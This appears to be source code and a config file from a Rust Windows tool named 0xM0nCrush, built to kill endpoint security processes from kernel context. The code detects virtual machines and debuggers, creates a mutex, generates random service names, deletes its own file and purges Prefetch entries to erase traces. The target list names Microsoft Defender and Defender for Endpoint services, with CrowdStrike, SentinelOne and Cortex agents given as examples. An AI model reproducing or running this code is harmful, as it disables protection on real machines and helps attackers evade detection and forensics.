const VM_REG_KEYS: &[(&str, &str)] = &[
(r"SOFTWARE\VMware, Inc.\VMware Tools", "InstallPath"),
];
fn is_vm_process() -> bool {
use windows::Win32::System::Diagnostics::ToolHelp::{
CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, PROCESSENTRY32W, TH32CS_SNAPPROCESS,
};
let snap = match unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) } {
Ok(h) => h,
Err(_) => return false,
};
let mut e = PROCESSENTRY32W { dwSize: mem::size_of::<PROCESSENTRY32W>() as u32, ..Default::default() };
if unsafe { Process32FirstW(snap, &mut e) }.is_err() {
unsafe { let _ = CloseHandle(snap); }
return false;
}
let mut found = false;
loop {
let name = String::from_utf16_lossy(
&e.szExeFile[..e.szExeFile.iter().position(|&c| c == 0).unwrap_or(e.szExeFile.len())]
).to_lowercase();
if VM_PROCESSES.iter().any(|&p| name == p) {
found = true;
break;
}
if unsafe { Process32NextW(snap, &mut e) }.is_err() { break; }
}
unsafe { let _ = CloseHandle(snap); }
found
}
fn is_vm_registry() -> bool {
let mut key: HKEY = HKEY::default();
for (subkey, value) in VM_REG_KEYS {
let wstr: Vec<u16> = subkey.encode_utf16().chain(Some(0)).collect();
let err = unsafe {
RegOpenKeyExW(
HKEY_LOCAL_MACHINE,
PCWSTR(wstr.as_ptr()),
None,
KEY_READ,
&mut key,
)
};
if err != WIN32_ERROR(0) { continue; }
let vwstr: Vec<u16> = value.encode_utf16().chain(Some(0)).collect();
let mut buf = [0u8; 256];
let mut size = buf.len() as u32;
let err = unsafe {
RegQueryValueExW(
key,
PCWSTR(vwstr.as_ptr()),
None,
None,
Some(buf.as_mut_ptr()),
Some(&mut size),
)
};
let _ = unsafe { RegCloseKey(key) };
if err == WIN32_ERROR(0) { return true; }
}
false
}
pub fn detect_vm() -> bool {
is_vm_process() || is_vm_registry()
}
pub fn detect_debugger() -> bool {
unsafe { IsDebuggerPresent().as_bool() }
}
pub fn create_mutex(name: &str) -> Option<HANDLE> {
let wstr: Vec<u16> = name.encode_utf16().chain(Some(0)).collect();
match unsafe { CreateMutexW(None, false, PCWSTR(wstr.as_ptr())) } {
Ok(h) => {
if unsafe { GetLastError() }.0 == 183 {
// ERROR_ALREADY_EXISTS
let _ = unsafe { CloseHandle(h) };
None
} else {
Some(h)
}
}
Err(_) => None,
}
}
pub fn random_service_name() -> String {
let tick = unsafe { GetTickCount64() };
let pid = unsafe { GetCurrentProcessId() };
let r = (tick ^ pid as u64) & 0xFFFFFF;
format!("{}{:06X}", obf::svc_prefix(), r)
}
pub fn resolve_driver_path(fname: &str) -> String {
if std::path::Path::new(fname).is_absolute() {
return fname.to_string();
}
if let Ok(exe) = std::env::current_exe() {
if let Some(dir) = exe.parent() {
let cand = dir.join(fname);
if cand.exists() {
return cand.to_string_lossy().to_string();
}
}
}
if let Ok(cwd) = std::env::current_dir() {
let cand = cwd.join(fname);
if cand.exists() {
return cand.to_string_lossy().to_string();
}
}
fname.to_string()
}
pub fn jitter_sleep(base_ms: u64, jitter_ms: u64) {
let j = if jitter_ms > 0 {
let tick = unsafe { GetTickCount64() };
(tick % jitter_ms as u64) as u64
} else {
0
};
std::thread::sleep(std::time::Duration::from_millis(base_ms + j));
}
pub fn self_destruct(path: &str) {
let wstr: Vec<u16> = path.encode_utf16().chain(Some(0)).collect();
let h = unsafe {
CreateFileW(
PCWSTR(wstr.as_ptr()),
GENERIC_WRITE.0,
FILE_SHARE_DELETE,
None,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
None,
)
};
if h.is_ok() {
let _ = unsafe { DeleteFileW(PCWSTR(wstr.as_ptr())) };
}
}
pub fn purge_prefetch() {
let exe = own_exe_name();
if let Ok(entries) = std::fs::read_dir(r"C:\Windows\Prefetch") {
for entry in entries.flatten() {
let name = entry.file_name().to_string_lossy().to_lowercase();
if name.starts_with(&exe.trim_end_matches(".exe").to_lowercase()) && name.ends_with(".pf") {
let _ = std::fs::remove_file(entry.path());
}
}
}
}
fn own_exe_name() -> String {
let mut buf = [0u16; 260];
let len = unsafe { GetModuleFileNameW(None, &mut buf) } as usize;
let wide = &buf[..len];
let path = String::from_utf16_lossy(wide);
std::path::Path::new(&path).file_name().unwrap_or_default().to_string_lossy().to_string()
}
+41
View File
@@ -0,0 +1,41 @@
use std::mem;
use windows::Win32::Foundation::CloseHandle;
use windows::Win32::System::Diagnostics::ToolHelp::{
CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, PROCESSENTRY32W, TH32CS_SNAPPROCESS,
};
use crate::obf;
pub fn defaults() -> Vec<String> {
obf::default_targets()
}
pub fn find_running(targets: &[&str]) -> Vec<(String, u32)> {
let mut r = Vec::new();
let snap = match unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) } {
Ok(h) => h,
Err(_) => return r,
};
let mut e = PROCESSENTRY32W {
dwSize: mem::size_of::<PROCESSENTRY32W>() as u32,
..Default::default()
};
if unsafe { Process32FirstW(snap, &mut e) }.is_err() {
unsafe { let _ = CloseHandle(snap); }
return r;
}
loop {
let name = String::from_utf16_lossy(
&e.szExeFile[..e.szExeFile.iter().position(|&c| c == 0).unwrap_or(e.szExeFile.len())],
);
for &t in targets {
if name.eq_ignore_ascii_case(t) {
r.push((name.clone(), e.th32ProcessID));
}
}
if unsafe { Process32NextW(snap, &mut e) }.is_err() { break; }
}
unsafe { let _ = CloseHandle(snap); }
r
}
+28
View File
@@ -0,0 +1,28 @@
# 0xM0nCrush target configuration
#
# One executable name per line. Lines starting with # are ignored.
# Drop this file next to moncrush.exe as targets.conf to override the
# built-in defaults without rebuilding.
#
# The resolver order is:
# --names > --config <path> > targets.conf (disk) > built-in defaults
#
# Add any process you want terminated from kernel context:
calc.exe
notepad.exe
MsMpEng.exe
MpDefenderCoreService.exe
SecurityHealthService.exe
MsSense.exe
SenseIR.exe
SenseCncProxy.exe
SenseSampleUploader.exe
# Examples:
# CrowdStrike
# csfalconservice.exe
# SentinelOne
# SentinelAgent.exe
# Cortex XDR
# cortex_agent.exe